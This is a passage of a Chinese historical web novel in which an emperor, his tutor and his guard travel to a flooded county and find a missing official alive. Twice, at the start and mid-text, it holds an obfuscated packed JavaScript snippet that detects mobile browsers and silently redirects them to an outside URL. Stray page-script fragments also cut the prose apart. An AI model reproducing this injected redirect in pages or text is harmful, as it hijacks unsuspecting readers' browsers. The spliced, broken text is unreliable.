;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13611904|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么? 竟然就如此直白地,直接断了与闻端的消息往来? 谢桐一时之间,竟不知是夸是骂好。 本以为这些举动都是暗中进行—— 就如和简如是的私下合作一般,谁料闻端早就已经发现了端倪,自己要从他手里夺权的心思,几乎是等同于暴露在青天白日之下,无所遁形。 知道关蒙此时就跟在这辆马车附近,以极佳的耳力听着车中人的动作,谢桐恼羞成怒地低低骂了一声: “呆头呆脑。” 马车外传来很轻的一声响动,就像是一颗石子弹到了车壁上一样。 闻端不易察觉地勾了下唇角,抬手示意谢桐看那枚墨色扳指。 “这是号令圣上身边暗卫的信物,虽然关首领早已没有再跟从这个命令,不过臣想着,还是物归原主更好。” 谢桐闻言,捏起那枚玉扳指细看。 墨玉通身没有半点瑕疵,弧度处莹润细滑,是上等的玉品,甚至似乎还带着闻端手上的体温。 这枚扳指,谢桐很久之前就见过。 或者说,因为两人之间的关系,谢桐对闻端身上常戴什么饰物,思考时有什么样的小动作,以及情绪变化时都有什么特征了如指掌。 这枚墨玉扳指,便是闻端手上唯一一件饰品。 谢桐还记得,闻端沉思时,就会不自觉地轻轻转动摩挲这枚扳指,一旦进入这个状态,闻端就不允许其他人出声打扰。 不过谢桐除外。 毕竟谢桐当年,十分桀骜不驯,从不把任何命令放在眼中。虽然大部分时候,他也不会主动去触闻端的霉头,但若是被惹恼,那就不一定了。 ——比如现在。 谢桐将扳指在掌中抛上抛下玩了一会儿,懒洋洋地一抬手丢到了软榻旁边的柜子里,毫不在意道: “朕不需要用这种玩意儿来控制他人。” 马车重重摇晃了一下,外头传来起驾出发的吆喝声,谢桐没个正形地倚在晃晃悠悠的软榻中,撩起长睫瞥了闻端一眼,慢吞吞道:“暗卫之事,朕也算是见到你的忠心了。” “不过还有一事,朕刚刚也提了。” 谢桐道:“太傅虽然是朕的老师,但曾经朕是太子,太傅教训朕也算恪守本职,但如今……” 剩下的话,谢桐没有再说了,让对面的人自己意会。 闻端果然意会,轻轻“唔”了一声,开口问:“圣上是说,如今你长大了,让臣不能再把你当小崽子看待了?” “……”谢桐恼怒:“谁是小崽子?” “并没有说是现在的圣上。”闻端从善如流道。 谢桐:“。” 闻端微微低了下头,从谢桐的角度,可以看见他唇边弯起的弧度。 ……笑什么?有什么好笑的? “圣上在臣心里,从未失过天子的尊严。”闻端又缓缓说:“先前之所以贸然问起那个预示梦,惹恼了圣上,是有缘故的。” 谢桐的思绪停留在他的前半句话,心里并不如何认同,随意接了句:“什么缘故?” 闻端却罕见地沉默了。 等了片刻,没等到回答,谢桐蹙着眉抬眼,看见闻端垂着眼,似是在斟酌用词。 什么事?谢桐纳闷。 过了一会儿,闻端像是终于思索完毕,目光落在谢桐面容上,慢慢开口: “不知是否是臣的错觉,每当臣提起圣上的预知梦,圣上的神色始终不见好。” “臣不明,圣上究竟是介怀梦境的内容,还是介怀……在臣面前提起这个梦境。” “但若如圣上所言,从未在梦中见到过臣——” “为何对着臣,又总是表现得如此拘束不适?” 谢桐心神一凛。 他没想到闻端竟敏锐至此。 9. 错话 面对闻端的疑问,谢桐默然许久,才启唇回答。 “先前的确是朕没有将话说全。” “朕的梦中……也有老师的身影。” 闻端很轻地挑了一下眉,神色饶有兴致地问:“是吗?所以臣在圣上的梦中,还是占有一席之地的,对否?” 谢桐:“……对。” 虽然觉得这句问话怪怪的,但是事实没错。 “至于为何不将梦境内容告知老师,朕有自己的考量。” 谢桐手指垂在身侧,拨弄着软榻上柔软的羊毛毯,一边思考,一边缓慢道:“朕觉着,如今还不到时候,与老师分享朕的全部梦境内容。” 对谢桐而言,在闻端面前,那些荒唐的“同人文”和所有乱七八糟的“CP”已经成了次要,最重要的,是与闻端的结局。 那些猜忌、斗争、厮杀,金銮殿前绽开的血,以及重重落下的、血锈斑斑的砍刀。 即使现在闭上眼,谢桐仍能清晰地回忆起那段描述。 “没关系。”听见谢桐的话,闻端开了口:“圣上是天子,应有自己的想法。既然如今时机未满,那臣便等着,等到圣上愿意全部告诉臣的那一天,就足够了。” “圣上在臣面前,不需要有任何负担。”他道。 这话在谢桐耳中很熟悉,像是曾经有无数次,闻端都这样平静地对他说过。 还是太子的时候,闻端就曾说:“殿下在臣面前,无需拘束。” 登基之后,谢桐更觉闻端此话说得频繁。 难道自己对闻端的忌惮和疏远,表现得十分明显吗? 预知梦的话题已经揭过,谢桐怀着心事地与闻端在战棋上对弈,而后就发现,闻端现在的心情似乎非常之好。 俊美的面容上神情放松,眼皮微微垂着,谢桐每下一步棋期间,他都要注视谢桐一会儿,几次三番下来,这显而易见的目光几乎要凝成有形的实质。 谢桐感到纳闷,过了一盏茶功夫后,才隐约间从闻端的表现里,琢磨出一点可能得缘由来。 ……难不成是因为,自己刚刚说,预知梦中其实是有他的? 为什么这件事能令他的心情愉悦? 谢桐心想,好在自己没把话说全。 如果闻端知道,他在谢桐梦中的下场,就是为非作歹兴风作浪将近二十年,最后惨死在谢桐手下,成为史书上不折不扣的“佞臣”,估计就不会这样高兴了。 * 从京城到东泉县,即使配备了最强壮的马匹和最善于行军的守卫,也至少要半个月左右的功夫才能到。 谢桐下令,精简一切不必要的仪仗,甚至连帝王出行所需配备的宫女太监也减了大半,只留下几个做事麻利的宫女和近身太监。 马车也全部紧急修缮过一遍,去了先帝喜爱的繁复累赘的装饰,皆以提高行程效率和安全为目的,瞧起来十分朴实无华。 这支队伍里最为不实用的、用来玩乐的贵重东西,估计就是闻端从御书房里拿来的那副战棋了。 急行六个时辰不停歇后,马队到了距离京城百里远的地方,在一片地势平缓的原上扎营休息。 在众人开始架设篝火做饭时,谢桐也接见了第二个从东泉县周边过来的信使。 “三日前,主城城门紧闭,目测水已淹至门的三分之二处,用羽箭绑布条射入城中,仍无法得到任何回应。” 谢桐捏了捏眉心,抬手挥退了信使:“知道了,下去吧。” 闻端在旁边听了信使的消息,出声道:“圣上也不必担心,每日都会有信使回来,我们这趟行程才刚开始,之后或许会有好消息也说不定。” 谢桐看着不远处忙得热火朝天的宫人,沉默了一下,低低说:“朕不仅忧心东泉县。” 东泉县的水患蔓延,势必会牵连到临近县域,不知道会有多少亩良田被毁,又有多少人会家破人亡,流离失所。 还有,谢桐又想起一个人,齐净远。 在谢桐登基之前,闻端给齐净远任命了个都水监郎中的挂职,将人派去了东泉县所在地治水,如今水患未解,人却失联了。 谢桐扶额,心里叹道,齐净远……还真是一贯的不靠谱。 这么不靠谱的人,竟然还能从低末小官一路爬上来,简直令谢桐费解。 两人相识于谢桐八岁那年的梧桐书院,上太学的时候,齐净远就是整个学堂里最调皮的捣蛋鬼,偏偏鬼精鬼精的,叫先生抓不到实质的错处,只能气得吹胡子瞪眼。 在谢桐因故离开梧桐书院,结束了那段短暂的太学时光之后,与齐净远的联系就少了许多。 但毕竟有儿时同住一间寝屋的情谊在,后来的十余年,谢桐还是时不时会见到齐净远。在这个人一路蹭蹭蹭地升到刑部侍郎的位置上后,交集就慢慢又多了起来。 但无论如何,谢桐都无法理解,为什么闻端会把刑部的齐净远派去治水。 今夜,谢桐就把这个萦绕不去的疑惑问出了口。 闻端并不在意他质疑的语气,随意寻了个还算干净的地方坐下,道: “治理水患一事,是齐侍郎主动请缨,并非臣胡乱安排。” 谢桐蹙眉:“工部的官员尚且不出声,他一个刑部的,怎么主动插进手来?” 还有一句话谢桐没说,那就是水患乃天灾,很多时候非人力能彻底缓解。 齐净远就这样奔赴东泉县,难道不怕一个意外,折在了城中,或是越治越糟糕,最后背了个大黑锅回来么? “臣不知齐侍郎如何想。” 闻端用袖口给谢桐扫出了一片整洁的地方,示意他坐下,而后慢慢道: “不过臣听了他对水患一事的见解,觉得颇有想法,正好朝中无人可用,于是便给了他这个机会。” 谢桐看着面前的篝火,摇了摇头,不说话了。 食物烹好需要一定的时间,谢桐顺便在篝火边处理了从京城快马送来的一些折子——都是简如是挑出来,认为有必要让谢桐过目的。 除了折子,简如是还送来了一封信。 信中简明扼要地阐述了他对这几封折子内容的看法和建议,又寥寥几笔叙说了宫中发生的一些小事。 比如写道:“午后细雨,刘小公公在金殿前的玉白阶上摔了一跤。” 刘小公公是罗太监新带的徒弟,圆头圆脑,还不熟悉上手的杂务,时常冒冒失失的,犯些无关痛痒的小错,着实有趣。 又比如,简如是还写:“晚间离宫,偶见一小咪,通体雪白,机敏可爱,甚似圣上,带回御书房由刘公公饲养。” 谢桐:“……” 简如是的字如其人,笔锋秀挺中带着含蓄的柔和,看着这行字,谢桐就能想象出他写信时微含笑意的模样来。 看到信的末尾,简如是写道:“臣向圣上问安,祝圣上此行顺利。” 并且在落款处,他还别出心裁地,用毛笔画了一只圆滚滚的、抱着自己尾巴玩的猫。 谢桐指尖戳了戳 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“出来吧,”谢桐开了口:“什么事?” 左手侧传来一阵响动,一个矫健的身影从高处落下,在谢桐的后方站稳身形。 谢桐转过身,看见年轻暗卫首领沉默而冷峻的脸庞。 今日的关蒙瞧起来有几分风尘仆仆,谢桐稍微一想,也明白了。 帝王离宫,还是急行的马车队伍,暗卫们不仅要藏匿身形跟着队伍前进,还要在危机四伏的宫外时刻警惕,提前扫除一切不安全的因素。 想来,关蒙等人,应该吃了不少苦。 见状,谢桐的语气柔和了些许: “今日可还能应对?朕从宫内一共带了二十个暗卫出来,你也学会灵活安排,让人轮着换班,不要弄得一整天都疲累不堪。” “若是人手不足,朕便多叫几个暗卫从宫中过来。” 关蒙摇摇头,他垂眼掸了掸黑色侍卫服上的尘土,淡淡道:“已安排他们轮流看护,但臣是首领。” “暗卫首领就要每天跟着朕了吗?”谢桐无奈:“这一趟十天半月的,你日日如此,是折腾自己。” 关蒙不说话了,以沉默来表示不服从。 “罢了,你要怎样就怎样吧。”谢桐深知他的性格,又问:“有什么事,要特意唤朕过来?” 关蒙垂着眼,低声道:“臣来给圣上请罪。” “请什么罪?” 关蒙的嗓音更低:“臣……不该贸然与闻太傅断了消息往来。” “唔,你说这件事啊。”谢桐并不非常在意:“没关系,依你的性子,你就算给闻端传朕的假消息,也很快会被他看出来,结果是一样的。” “……”关蒙抬了下头,眼神中有着明显的疑惑:“为何?” 他的首领服的领口上,夹了根狗尾巴草,谢桐见了,自然地伸手,将那草捻了扔开。 “因为你不会撒谎。”谢桐说:“以闻端的敏锐,定会立即发觉异样。” “你这样的笨嘴拙舌,幸亏是在朕身边。若是哪日受了气,又与人吵不赢嘴,可以寻朕来助你,吵架一事朕最拿手。” 谢桐笑着打趣道。 关蒙:“…………” 在谢桐的目光注视下,年轻俊秀的暗卫首领别开脸,耳根渐渐变红了。 谢桐:“?” 朕又说错什么了? 10. 断袖 时间在车队的行进中飞速流逝。 越往南下,沿途的雨水越多,最后已经是从早到晚都连绵不断地下雨,路也变得泥泞不堪,大大阻碍了马车的行程。 谢桐坐在马车中,面前燃着一个炭火炉——水汽渐重,只能靠这种方式驱湿驱寒,缺点是熏人眼鼻。 拆开第十二封信使传来的讯息,里面写着东泉县仍处于失联状态。 更糟糕的是,自从河水决堤后,大雨又继续下,东泉县内的水位线已经高到了前所未有的地步,别说是农田庄稼,就是平民百姓的房屋也尽数被淹没了。 形势危急,谢桐等不及到达地方,径直给临近的几个县下了命令,让他们派人从东泉县附近挖出壕沟,将囤积的水引到十余里外的山林里去。 但这样做终究只能缓解一二,无法根治水患之祸。 在行车途中,谢桐每日只睡两个时辰,其余时间都用在和闻端探讨水患的解决办法。 谢桐从御书房里带来的地图上,被他用细炭笔勾勒了不少标记。除了寻找治水方案,还有一件重要的事,那就是东泉县内是否还有活口。 如果有,那些人又在哪里? 谢桐凝神思索着这件事,没留意面前的炭火盆忽然爆了几颗小小的火星子出来,有一颗还弹到了谢桐握笔的手背上。 “嘶——”谢桐回过神,蹙眉丢下笔。 马车外立即响起熟悉的嗓音,关蒙紧张地低声问:“圣上,怎么了?” “……”谢桐抚了抚手背,见白皙的皮肤上有一点刺目的红,不禁按住那块地方,同时制止了关蒙的动作:“无事,不用进来。” 轿帘在晃动中扬起又落下,隐约能瞧见跟随在外的黑色身影。 雨势急促,那人却不顾忌,就这样沉默地紧紧跟在马车旁边。 听见谢桐的话,关蒙顿了顿,开口说:“好。” 过了半晌,他又道:“圣上,臣就在这里,可以随时传唤。” 谢桐的目光落在轿帘上,有些无奈:“雨太大了,你别守在这里,没什么事的,去后头的马车上歇着吧。” 关蒙:“臣不去。” 谢桐:“你淋了雨,容易着凉,要是得了风寒,还怎么完成此行的任务?” 关蒙声音硬邦邦的,十分固执:“臣久经训练,身体素质很好,圣上不必担心。” 真是头犟牛,谢桐心想。 从小关蒙就是这样,什么话也不听,什么事也不爱做,自从被先帝指了派给谢桐当暗卫,就成天不离谢桐身边。 谢桐已经习惯了他影子般的存在,但不知为何,这些日子突然又有些奇怪的心绪浮动。 起因还是十几天前,关蒙在原上莫名其妙的脸红。 以前谢桐是不会在意这种小事的,但如今他敏感许多,当天夜晚,他立即就开口追问:“你的耳朵怎么这样红?” 关蒙那时的眼神,谢桐直到今日还记得。 一贯寡言冷然的人,几乎像是被看破了心事一样,堪称慌乱地将视线四下投放,就是不和谢桐对上眼。 过了好半天,关蒙才勉强恢复成原先那副冷静忠诚的模样,只是耳根的红意依旧不退,显眼得很。 那天晚上,谢桐什么也没问出来。 既是无法再问,也是不能再问。 谢桐有直觉,如果自己再贸然强行逼问,以关蒙这样的性子,肯定会和他说实话。 但他……不是很想听见关蒙的实话。 就和闻端曾经带来御书房的那枚同心玉一样,谢桐后来也没有在简如是面前提起过,仿佛不提起,这件事就可以轻飘飘地一揭而过。 谢桐希望关蒙对着自己莫名其妙的脸红,也可以随着时间揭过。 总之不应该会像是那个预示梦中一样…… “那你爱待着就待着吧。”谢桐揉了揉手背,淡淡道:“去拿个斗笠戴上,这么大的雨,就别把自己当暗卫藏着了。” 关蒙没吱声,但谢桐瞥见帘边的身影一闪而过,估计是去拿了。 最近这是怎么了,谢桐想道。 本该熟悉的这些寻常人寻常事,怎么总觉变得越来越令人费解了? * 又过了两日,一行人终于赶到了距离东泉县十余里的,尚且还算平整的一处高地上。 从这里开始,前方的河水就已经四处纵横,马车已经难以度过,只能换成轻便的小船。 在众人打理船只时,谢桐撑着伞,走到高地上望向东泉县的方向。 现在是晌午时分,但由于飘散的细雨和天上的乌云,仍显得暗沉沉的,东泉县又地势较低,一眼望过去,只能瞧见汪洋泛滥的土黄色河水,以及远处一点灰黑色的踪迹。 ——那里就是东泉县主城。 闻端从后走来,也站定在谢桐身侧,同时不经意般抬手给谢桐轻掸了下肩上的雨珠。 谢桐偏了下头,见是他,于是收回目光,唤了句:“老师。” 闻端:“臣在。” “你说东泉县还有人活着吗?”谢桐忍不住问。 闻端颔首:“有。” “老师如何得知?” 闻端站在湿地上,也望向那滔滔洪水,落雨不断,身后跟随的马队与仆从们即便穿着雨披,依旧显得湿漉漉的狼狈不堪,但闻端却不同。 谢桐见他,一如在京城时风姿卓绝从容淡定,缓步行走间甚至不会溅起泥点,垂落的袍角依旧平整洁净。 谢桐甩了甩袖口沾上的雨水,有些遗憾自己没能学会闻端处处稳重的贵族礼仪。 “东泉县临近的岷江虽已决堤,但此地四面平缓,洪水冲势并不集中。虽连日下雨,城门处的水位线仍在墙头之下,如果城中百姓能寻到一处高地,就能躲过灾祸。” 闻端察觉到谢桐在看自己,于是将视线收回,与他对视,语气温和道: “圣上不必过于忧心,东泉县百姓并非坐以待毙之辈,人的毅力也不容小觑,定能从洪水中求得生机。” “况且,齐侍郎不是等闲之人。”闻端不紧不慢地说:“臣觉得,他应该还活着。” 谢桐抿了下唇,淡淡道:“他最好是。” 若是齐净远没有任何治水的本事,又主动 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罗太监匆匆退下后,谢桐正想说话,忽然看见闻端微微低了下头,像是在看什么。 “……”谢桐顺着他的动作看见袍角上被溅到的泥点,在银纹靛青的布料上十分引人瞩目。 “老师是身上沾了脏污,会觉得不自在么?”谢桐索性直接问道。 闻端已经抬起了头,脸上没什么情绪波动,听见他的话,才很轻地挑了下眉。 “是,臣一向注重洁净。” 谢桐想了想,说:“此行颠簸艰难,辛苦老师了。不过此处雨势绵绵,怕是没地方给你整理衣袍,朕倒是有一个法子,可以将这衣上的脏污去掉。” 闻端果真好奇:“什么法子?” 谢桐从腰间绑缚的百宝囊中取出了一柄短短的匕首,通体银白,拔出后刃口雪亮,是一把削铁如泥的利器。 自从登基后,谢桐就会在身上揣一把匕首,以备不时之需。 闻端看他拿刀,不免好笑:“圣上这是……” 他话音未落,就看见谢桐一弯腰,匕首在手上转了半圈,干脆利落地把他那块沾了泥点的袍角给削了。 起身时,谢桐又瞥见闻端右侧的袖口边沿有褐色污迹,于是也伸出手,把他袖子的那点布料也一并割了。 闻端:“……” 两小片衣料轻飘飘落在地上,很快被雨水冲刷走。 谢桐收了刀,抬眸发现闻端若有所思般,似是在走神,于是问:“怎么了?” “朕割得不好吗?”谢桐不解。 闻端的黑眸深如渊水,定定看了谢桐一会儿,忽而微微摇头一笑,道:“无事。” “臣只是偶然想起个典故罢了。” 谢桐刚想问是什么典故,就忽然听见后面马车队中传来一阵骚动,有人慌慌张张地朝谢桐和闻端的所在之处跑过来,嘴里大喊道: “圣上……闻太傅,不、不好了!” “从东泉县方向冲过来的洪水里,有水鬼!” 11. 为难 水鬼? 谢桐蹙眉,喝令那个传话的侍卫站住:“冷静点!说清楚什么是洪水里有水鬼?” 那侍卫年纪还小,甚至看上去未及弱冠,面对谢桐时,一张脸涨得通红,结巴道: “罗公公吩咐我们两人一条船,去东泉县主城边察看一下,谁料几只船都才划出几百米,就见到了……” 谢桐一边快步往放船的方向走,一边听他讲,飞快理清了“水鬼”的来龙去脉。 船上的侍卫们在水上划出几百米,就瞧见远远地飘过来几个黑影。天色阴沉望不清楚,只能隐约看出是几只小船的模样。 那船的影子也破破烂烂的,最令人惊奇的是,每只船上像是还站了一个人! 那船上之人身影晃动不休,侍卫们见状,以为是东泉县内逃出来的百姓,忙使劲朝那船招手、呼喊,点亮灯笼高高提起摇晃,但不知道为什么,对面却始终没有回应。 不仅没有回应,那破船也一直在原处打转,看样子像是完全没有往侍卫们这边靠近的意思。 船上晃动的人影也保持着相同的频率,远远望过去,四肢僵硬身形奇诡,全然不似正常人,在阴沉沉的雨幕中犹如鬼怪一般可怖。 在侍卫船上的罗太监吓了一大跳,犹豫了一瞬间,果断下令返回岸边,去寻谢桐和闻端做决策。 听完来人传的话,谢桐也走到了放船的地方。 这处搭了临时挡雨的营地,棚下挤了一些太监和宫女,皆是面色苍白,又惊又惧。 谢桐刚到的时候,还听见有人在吵闹: “都说东泉县水患来得蹊跷,原来是有水鬼作祟!” “东泉县失联已有月余,这些时日连半个消息都无,怕是里头的人都被淹死成了厉鬼,外面的人想进去救,就会被厉鬼拖去偿命……” “别胡说八道!圣上是真龙天子,有上天庇佑,就算是水鬼也会退避三舍!” “圣上有上天庇佑,但为何我们到了这里,雨还迟迟不停呢?” 谢桐在雨棚前站定,冷冷开口:“闭嘴。” 棚下霎时寂静。 “朕不想在此时听见怪力乱神之语。”谢桐语气冰冷:“朕在这里,就不会有水鬼出现。” “再有传谣扰乱人心的,当斩。” 惶恐不安的太监宫女们纷纷低头称是。 安定了岸上的骚动后,谢桐转过身,与旁边的闻端对视了一眼。 闻端的眸中有着浅浅的赞许。 “老师,”谢桐开了口,眉心轻蹙着,低低道:“那水鬼,应是……?” 闻端微不可见地点了点头,又说:“臣陪圣上一起去看看,便知真相。” 知晓谢桐要亲自登船靠近那几个“水鬼”后,罗太监惊慌不已,拼了老命劝说谢桐,但谢桐丝毫不为所动,于是又去劝闻端,结果闻端却道: “圣上有臣护佑,必然安全无虞。” 罗太监急得团团转。 哎哟,要是这两个人伤了其中哪一个,可怎么是好啊! 一只小船除了船夫,还能坐四个人,谢桐想了想,伸手一招,平声道:“关蒙。” 关蒙的身影立即从人群后跃出,虚虚半跪朝谢桐行了礼:“臣在。” “你与朕一同去。”谢桐又看向罗太监,眉梢一挑,说:“罗公公,既然担忧朕的安全,那你也来。” 罗太监:“……” 四人与船夫一并登了船,关蒙拿了把油纸伞,撑开罩在谢桐头顶,罗太监则是给闻端打着伞遮雨。 雨势不大不小,谢桐撩了下长睫,看见关蒙戴着的斗笠上都是水珠,其下俊秀的面容也如浸了水一般,冷白肃然,唯有一双乌黑的眼眸机警非常,很有神采。 察觉到谢桐的打量,关蒙下意识也看向他,见谢桐盯着他的脸,立即惊了一下似的,匆忙把目光移开,耳根看起来又有染红的趋势。 谢桐:“?” 又干什么? “关首领。” 就在这时,闻端忽然开了口,嗓音淡淡的:“本官其实也甚少见得关首领真容,今日难得一见,也向关首领谢过,平日护佑圣上平安之恩。” 谢桐怔了一下,不知道闻端在这个时候说什么客套话。 关蒙紧抿着唇,好半天才出声回答:“臣尽本分而已。” 闻端像是笑了一笑:“身为臣子,本官为圣上尽朝政辅佐、排忧解难之责,关首领尽暗处守卫之责,算是职责相近的同僚了。” 关蒙几乎是无话可说,在闻端的目光下,只能硬生生憋出一句:“臣不如闻太傅为圣上出力多。” 闻端很轻地笑了一声。 谢桐:“……” 好端端的,突然在这说什么东西? 马上就要迎战“水鬼”了,难不成是觉得船上行程无聊,要闲聊几句解解闷么? 谢桐总觉得闻端和关蒙之间的气氛莫名凝滞。 好在闻端也停止了这段莫名其妙的闲聊,几人屏息立在船上,同时转头看向不远处—— 已经很近了,离先前侍卫们发现的“水鬼”出没地点。 昏暗的天色下,那形容可怖的船上鬼影,再次显现在了几人眼前。 和先前描述的一样,窄小的船上立着个僵硬的人影,在风雨中左右飘摇,晃动不休。 谢桐看了一会儿,下令道:“靠过去。” 罗太监一惊:“圣上,那那……水鬼身份不明,这样贸然接近恐怕不妥……” “没事。”谢桐摆摆手,止住他的话,道:“朕有分寸。” 罗太监指挥船夫划动木浆,几人渐渐靠近了那水鬼所在的地方,除了谢桐与闻端神色如常,其余人皆身体紧绷,气氛焦灼到了极点。 关蒙不动声色地往左边挪了挪脚步,将自己的大半身体挡在了谢桐面前——这样一有变故,他就可以第一时间替谢桐拦下攻击。 谢桐注意到他的动作,轻声安抚道:“不用紧张,朕已经猜到那是什么了。” 关蒙眸光微动,刚要问,站在前头的罗太监倏然叫了一声,语气惊奇: “圣上,闻太傅!奴才看清楚了,那不过是——” ——不过是用木头支起,立在破船上的稻草人。 等距离拉近,“水鬼”的样貌显露在所有人面前后,谢桐松了一口气。 不出他所料,那在昏暗中摇晃的“鬼影”,实际上是用一大团湿漉漉的稻草,十分粗制滥造绑制而成的草人。 稻草人的头大四肢粗短,也难怪从远处望过去,身形如此诡异。 而小船之所以在原地打转,只是因为恰巧陷入了洪水的漩涡中,所以才没能继续顺流而行。 罗太监与船夫将几只小船上的稻草人都拖了过来,甩了甩手上的水,尴尬又庆幸地道: “圣上,原来只是几个稻草人而已……哎,不过是谁在这个时候玩这种恶作剧?吓得我们……” 在返回岸上的途中,闻端俯身,伸手拨弄了一下那几个湿淋淋的稻草人,从脑袋的地方找出了几枚被火漆封住的小竹筒。 “或许是东泉县内送出的讯息。”闻端将几枚竹筒递予谢桐,不紧不慢道。 罗太监有些瞠目结舌:“这……谁会用这种方式来传递消息?” ……还能有谁。 谢桐内心想着,对齐净远这些乱七八糟的伎俩略感无奈。 到了岸上,几只小竹筒也被拆开了,里面用油纸包着一张字条,竟然都没有被水浸湿,内容都是一样的: “城门堵塞,施救者请从城后东南角的矮坡进入。” 落款是一个龙飞凤舞的“齐”字,谢桐收了字条,抬起眸,就见岸上的几十人纷纷目不转睛地盯着他。 “消息是由城中的齐侍郎传出。” 谢桐的嗓音平缓,夹在落雨的动静中也显得十分清晰: “东泉县内还有人活着。立即备船,点齐二十人与朕一起前往东泉主城,其余没有任务的,留在此地等候指示。” * 两个时辰后,谢桐等人顺利找到东泉县主城的豁口,登上矮坡进入。 卜一进入城中,就有守在那处的人来查看情况,听闻是谢桐御驾亲至后,几乎惊得呐呐不能言,行了好几个跪拜大礼,才起身引路。 “城门是齐侍郎要求关闭的,还叫我们拿沙子装入袋中,将城门底下的缝隙也堵严实了,这样可以挡住大量洪水。” “城中的积水已经堪堪没过了屋顶,房屋的损失是无法挽救了,但好在没有多少人受伤。” “大家都听从齐侍郎的安排,退到城内最高处的佛塔附近安营。” “不过这些天粮食和净水不多了,齐侍郎打算洪水再不消退,就亲自带人出城去求救。” 聊了一程后,谢桐大致了解清楚了主城内的情况。 齐净远……果然是个胆大的奇才。 在江水决堤消息传来的第一时间,他反其道而行之,没有试图将城中数万百姓赶去寻找一个安全的地方,而是直接命人把城门关了。 事实证明他是正确的,因为仅仅一个时辰后,滔天的洪水便席卷而至,几乎要将坚实的城墙摧毁。 如果齐净远再拖延上那么一时半会,那么正面受洪水冲击的,就不是墙砖,而是懵懂无知的东泉县百姓了。 封锁主城后,齐净远立即指挥城内的人带上干粮和贵重物品,开始朝西北方向的最高处——佛塔搬迁。 同时,他还分了一小队壮丁,在佛塔的山底下开始……挖洞。 在洪水蔓延全城之前,一直往下挖,直到挖去厚实的土层,用火药炸开岩石,挖通了与东泉县地下河的通道。 也正因为如此,涌入城的洪水又有部分通过这几个大洞汇入了地下河,城中的水位始终维持在一个不高不低的状态,没有把佛塔也淹了。 齐净远留在城墙豁口处接引众人的中年男子自称阿虎,念叨了一通“齐大人”的好处,满脸都是崇敬之色。 前去佛塔的路上,依旧要经过一片洪水,谢桐眺着不远处残破的屋顶,忽然问: “东泉县府的官员呢?” 阿虎一愣,脸上显出一种欲言又止的神色,支吾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13611907|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“圣、圣上,这事还是等您见了齐大人,再问他吧,草民也不是很清楚。” 谢桐很轻地蹙了下眉,又恢复如常。 天色已经渐晚,加上雨势不停,早早地就已经视线模糊。 谢桐不欲再多问拖延时间,于是登上阿虎带来的简易竹筏,与闻端、关蒙二人往佛塔而去。 竹筏行了约莫半柱香功夫,谢桐再一抬眼时,不远处一片热闹的灯火就撞入眼帘中。 雨幕下,七层的佛塔高高伫立在矮山之上,每一层都明亮如昼,遥遥望过去,简直就如黑夜中的灼灼华灯,指引着每一个流离失所之人前往,驱逐了恐慌和不安,令人不自觉地平静下来。 塔身下,也有不少灯笼光在雨中飘摇,隐隐还能听到那边传来的嘈杂人声。 阿虎摇着简易的浆,高兴道:“圣上,我们到了!” * 谢桐等人刚刚踏上土地,附近在雨棚下或站或坐的百姓就纷纷朝他们投来注视的视线。 阿虎谨记先前罗太监的叮嘱,不敢贸然张扬谢桐和闻端的身份,于是压低了嗓音道: “我……草民现在就去请齐大人过来,圣上您稍等!” 说完,他一阵风似的跑开了。 谢桐往前走了几步,正想偏过脸与闻端说话,余光突然瞥见什么,怔了一下,重新把视线移过去,定睛一看。 ——十几尊大大小小的金身佛像,就被人随意堆叠放在泥地上,甚至连个雨棚也没遮,金身上都是混杂着泥土的雨水横流。 谢桐:“……” 齐净远,把佛塔里的佛像全搬出来,丢在外面了?! 旁边的人群来来往往,像是已经习以为常似的,偶有几个驻足的,双手合十给泥地上的佛像作揖,又很快离开了。 谢桐瞪着地上的佛像片刻,忍不住开口问:“这是谁的主意?” “当然是臣的主意。” 一个清凌凌又带笑的嗓音自远而近地响起,一行人转头看去,就见一青年男子穿着简单的灰布衣物,乌黑长发用粗糙的布条束起,随着他走动的动作一晃一晃的,生动又张扬。 他快步走到谢桐几人跟前,抬手行了一礼,一双桃花眼笑眯眯的: “臣齐净远,见过圣上、闻太傅。” “免礼。” 谢桐发现齐净远比起从前,像是黑了一些,但周身的气质一如往昔,看来在此地也过得如鱼得水。 既然见到人了,谢桐就忍不住抬了抬下巴,示意齐净远看那些放在地上的金身佛像:“这是怎么回事?” 齐净远扭头一看,漫不经心道:“那个啊,城中人口太多,佛塔里不够住,于是就把佛像搬出来腾位置了。” 众人:“……” “我佛慈悲,东泉县遭水患天灾,相信佛祖也不会怪罪我们的。” 齐净远朝着谢桐眨了眨眼,毫不掩饰神色中的得意。 “……”谢桐无话可说,道:“寻个地方歇下,朕想听听这段时间东泉县都发生了什么。” “臣遵旨。” 齐净远一礼后,瞥了眼谢桐身后,忽然毫不顾忌身份地径直上前,一把抓起了谢桐的手腕,语带笑意道:“殿下,请随臣来吧。” “好久没见殿下您了,这回可得好好叙一叙旧,臣有满肚子的话要和您说。” 谢桐还没什么反应,一旁的罗太监率先憋不住了:“齐大人,圣上已于上月即位,您应该称‘圣上’而非‘太子殿下’了。” 齐净远挑了下眉,干脆利落地请罪:“是臣之过,圣上登基那日,臣正快马赶往东泉县途中,没能亲眼目睹。如今月余未见圣上,倒是不小心喊错了。” 